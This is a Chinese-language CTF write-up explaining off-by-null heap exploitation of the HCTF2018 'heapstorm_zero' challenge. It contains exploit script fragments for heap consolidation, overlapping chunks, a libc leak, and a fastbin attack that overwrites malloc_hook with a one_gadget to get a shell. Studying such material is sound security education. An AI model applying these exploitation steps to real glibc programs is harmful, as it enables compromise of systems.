off by null 是一个比较有意思的技术 下面通过 hctf2018 的 heapstrom_zero 实战一波。
相关文件(exp, 题目)位于
https://gitee.com/hac425/blog_data/blob/master/off_by_null/
注：为了调试的方便，修改了一些代码。
原始题目链接：https://github.com/veritas501/hctf2018
直接拿源码分析，程序是一个比较简单的菜单程序
int main(void){
init();
while(1){
switch(menu_getinput()){
case 1:{
Allocate();
break;
}
case 2:{
View();
break;
}
case 3:{
Delete();
break;
}
case 4:{
puts("Bye!");
exit(0);
}
default:{
puts("Invaild choice!");
}
}
}
return 0;
}
首先初始化一些东西，比如随机 mmap 一块内存用来存放指针之类的。然后提供三个选项供用户选择。
看看 init 函数。
return 0;
}
分配一块内存，然后生成一个随机秘钥，秘钥的作用是把程序分配的内存的指针异或加密一下。
首先让用户输入一个 size , 然后判断 size 最大只能为 0x38 ， 这意味着我们只能分配 fastbin的 chunk. 分配好内存后，会读入数据到里面，这时候会有一个 \x00 字节的溢出。
就是把指针解密出来，然后用 printf 打印内容。
解密出指针，然后释放掉，同时把相关的项设置为初始状态。
总结一下程序的功能。
我们最多只能 malloc(0x38) 即 0x40 大小的 chunk.
有一个 打印 chunk 内容的函数。
分配时可以 off by null.
一字节溢出的利用围绕着的是 堆块在分配，释放，合并时对 chunk 的 size 域的信任关系。而如果只是 fastbin 的话 off by null 是没法利用的，因为只要溢出就会把 size 设置为 0.
这里有一个 tips , 使用 scanf 获取内容时，如果 输入字符串比较长会调用 malloc 来分配内存。
在 malloc 分配内存时，首先会一次扫描一遍 fastbin , smallbin ， unsorted bin ，largebin, 如果都找不到可以分配的 chunk 分配给用户 ， 会进入 top_chunk 分配的流程， 如果此时还有fastbin ，就会触发堆合并机制，把 fastbin 合并 之后放入 smallbin，再看能否分配，不能的话会使用 top_chunk 进行分配。
于是利用 scanf 能分配大内存的特性，我们可以触发 堆合并，然后让 fastbin 合并成一个smallbin , 然后在触发 off-by-null , 就是常规的利用思路了。
首先分配 12 个 chunk, 其中 第一个 和最后一个保留， 第一个 chunk 用于 触发 off-by-null ， 最后一个用于防止在 堆合并时与 top_chunk 进行合并。
add(0x38, 'a') # 0
add(0x28, 'a') # 1
add(0x28, 'a') # 2
add(0x18, 'a') # 3
add(0x18, 'a') # 4
add(0x38, 'x') # 5
add(0x28, 'x') # 6
add(0x38, 'x') # 7
add(0x38, 'x') # 8
add(0x38, 'x') # 9
pay = 'a' * 0x20 + p64(0x200) + p64(0x20) # shrink chunk 前，配置好
add(0x38, pay) # 10
add(0x38, 'end') # 11 , 保留块， 防止和 top chunk 合并
然后把中间的 10 个 chunk 释放掉，同时触发 堆合并，构造一个 0x210 大小的 smallbin
# 释放掉 chunk
for i in range(1, 11):
dele(i)
# 利用 scanf 分配大内存 0x400+ , 会触发堆合并
# fastbin 会合并进入 smallbin
triger_consolidate()
函数 triger_consolidate 的逻辑就是发送 0x400 的字符串给 scanf 处理，然后 scanf 会分配大内存，触发 堆合并。
此时的内存布局如下
图中特殊标出的 0x200 | 0x20 用于保证后续利用过掉 check.
然后利用 chunk 0 , 溢出 一字节的 \x00 , 修改下面那个 smallbin 的 size ---> 0x200
# 利用 chunk 0 , 溢出 一字节的 \x00 , 修改 size ---> 0x200
dele(0)
pay = 'a' * 0x38
add(0x38, pay) # 0
紧接着在这个剩下的 0x200 字节的 smallbin 里面分配 8 个 chunk , 然后利用同样的方法，在里面构造一个 smallbin .
add(0x38, 'a' * 8) # 1
add(0x38, 'b' * 8) # 2
add(0x38, 'c' * 8) # 3
add(0x38, 'x') # 4
add(0x38, 'x') # 5
add(0x28, 'x') # 6
add(0x38, 'x') # 7
add(0x38, 'x') # 8
# 利用 大量的 fastbin + 堆合并 构造 smallbin , 大小 0xc0
dele(1)
dele(2)
dele(3)
triger_consolidate()
下面释放掉 chunk 11
# 触发 overlap
dele(11)
triger_consolidate()
系统发现 chunk 11 的 pre_size 为 0 ，即表明前一个 chunk 是释放状态，同时 chunk 11 和top_chunk 相邻，所以 即使 chunk 11 的大小在 fastbin 的范围内也会触发合并操作，于是会通过 chunk 11 的 pre_size ( 0x210 ) 找到上面那个 smallbin 的起始地址。
然后对 smallbin 做 unlink 操作， 此时 smallbin 已经在链表上，所以 unlink 可以通过，拆下来后进行合并， 合并之后形成了一个大 chunk.
这个 chunk 会继续和 top_chunk 合并变成 top_chunk 的一部分。注意到此时 chunk4 - chunk8已经落入 top_chunk 里。
接下来通过类似的方法，分配多个 chunk ， 然后释放掉中间的一些的 chunk , 然后出发堆合并，构造一个比较大的 smallbin.
add(0x28, 'a') # 1
add(0x28, 'a') # 2
add(0x18, 'a') # 3
add(0x18, 'a') # 9
add(0x38, '1' * 0x30) # 10
add(0x38, '2' * 0x30) # 11
add(0x28, '3' * 0x30) # 12
add(0x38, '4' * 0x30) # 13
add(0x38, '5' * 0x30) # 14
pay = 'a' * 0x20 + p64(0x200) + p64(0x20)
add(0x38, pay) # 15
add(0x38, 'end') # 16
dele(1)
dele(2)
dele(3)
for i in range(9, 16):
dele(i)
triger_consolidate()
此时的内存状态如图
此时 chunk 4 - chunk 8 落入了新构造的 smallbin 里面。下面通过 不断的分配，会对这个smallbin 进行切割，这个过程就会使得 一些链表用的指针落入到 还处于 使用状态的chunk4 - chunk8 的某一个 chunk 里面， 然后利用 puts 功能，就可以打印指针的内容，造成信息泄露， 拿到 libc 的地址。
能够 overlap chunk 后实现 getshell 的方式就很多了，下面 分析下 exp 的 getshell 方案
利用 overlap chunk 和 fastbin 的机制往 main_arena 写 size (0x41)
然后利用 fastbin attack 控制 main_arena->top
然后就可以分配到 malloc_hook 附近，修改 malloc_hook 为 one_gadget.
最后利用 malloc_printerr 触发 one_gadget
# 此时 chunk 6 和 chunk 8 在 tbl 的指针一样，触发 double free
# malloc_printerr ---> malloc_hook ---> getshell
dele(6)
dele(8)
为进一步理解 off by null , 下面以另一个 exp的信息泄露过程为例介绍下堆的布局
来源：https://xz.aliyun.com/t/3253#toc-2
首先分配若干个 chunk , 释放掉其中的第一个 chunk ，利用 scanf 触发堆合并构造 smallbin
add(0x18, "AAA\n")
for i in range(24):
add(0x38, "A" * 8 + str(i) + "\n")
free(0)
free(4)
free(5)
free(6)
free(7)
free(8)
free(9)
# 触发堆合并， 构造 2 个 ， smallbin
sla("Choice:", "1" * 0x500)
此时 chunk 10 的 pre_size 为 0x180 , pre_inused = 0.
图中颜色定义如下
然后分配一个 0x40 的 chunk , 此时会用 0x180 大小的 smallbin 分配，分配后应该剩下 0x140大小的 unsorted bin (bin 切割后会保存在 unsorted bin ) , 然后利用 off by null , 修改unsorted bin 的大小为 0x100. 此时会出现 0x40 的空隙。
# 分配比较大的内存，使用较大的 smallbin , 分配完后利用 off by null
# shrink unsorted bin 的大小
add(0x38, "B" * 0x30 + p64(0x120))
下面在分配两个 chunk (4 5) , 然后释放 chunk 4 , 在利用 堆合并 将 fastbin 放入 smallbin.
# 构造 smallbin 为 合并时的 unlink 做准备
add(0x38, "C" * 0x30 + p32(0x40) + '\n') # 4
add(0x38, "P" * 0x30 + '\n') # 5
free(4)
# 触发堆合并，形成 smallbin
sla("Choice:", "1" * 0x500)
然后把 chunk 10 释放掉， 此时系统根据 chunk 10 的 pre_size 找到 smallbin 的位置进行合并， 由于 smallbin 此时已经在链表中，所以可以成功完成合并过程中的 unlink 操作， 然后会得到一个很大的 smallbin.
# 释放 chunk 10, 同时触发堆合并，形成 overlap chunk , 测试 chunk 5 被 overlap
free(10)
sla("Choice:", "1" * 0x500)
此时的内存布局如下图。
通过合并我们得到了一个 0x180 大小的 smallbin , 在这个大 smallbin 里面有一个还在使用的chunk 5 , 同时还有之前分配剩下的 0x80 大小的 smallbin. 这样我就得到了 overlap heap.
下面新建 3 个 chunk.
add(0x38, "DDD\n") # 4
add(0x38, "KKK\n") # 6
add(0x38, "EEE\n") # 7
由于malloc 分配内存的机制，会先从 0x80 的 smallbin 里面分配，然后才会去 0x180 的smallbin 分配，所以内存布局如图。
分配完成后 chunk 5 变成了 0x140 大小的 unsorted bin 的起始位置，于是可以利用 Puts 功能把 unsorted bin 的 指针打印出来， leak libc。
参考
https://github.com/veritas501/hctf2018/blob/master/pwn-heapstorm_zero/exp.py
https://xz.aliyun.com/t/3253#toc-2
本文作者：hackedbylh
本文为安全脉搏专栏作者发布，转载请注明：https://www.secpulse.com/archives/92335.html
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